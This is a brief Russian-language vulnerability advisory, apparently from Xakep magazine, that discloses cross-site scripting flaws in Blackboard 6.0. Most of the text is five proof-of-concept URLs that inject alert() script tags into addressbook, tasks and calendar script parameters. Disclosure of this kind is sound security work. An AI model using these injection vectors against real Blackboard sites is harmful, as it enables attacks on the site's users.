Межcайтовый скриптинг в Blackboard

Рекомендуем почитать:

Xakep #299. Sysmon

• Содержание выпуска
• Подписка на «Хакер»-60%

Программа: Blackboard 6.0 

Несколько уязвимостей обнаружено в Blackboard. Удаленный пользователь может выполнить XSS нападение. 

http://[victim]/bin/common/addressbook.pl?action= ADD&nav=my_addressbook&course=
'%3E%3Cscript%3Ealert('Vulnerable') %3C/script%3E

http://[victim]/bin/common/tasks.pl?action=c &display=T.subject&filter=--!!all&course_id=
&render_type='%3E%3Cscript%3Ealert('Vulnerable')%3C/

http
://[victim]/bin/common/calendar.pl?course_name =%22%3E%3Cscript%3Ealert('Vulnerable')
%3C/script%3E

http://[victim]/bin/common/calendar.pl?courseID =%22%3E%3Cscript%3Ealert('Vulnerable')
%3C/script%3E

http://[victim]/bin/common/calendar.pl?subroutine =%22%3E%3Cscript%3Ealert('Vulnerable')
%3C/script%3E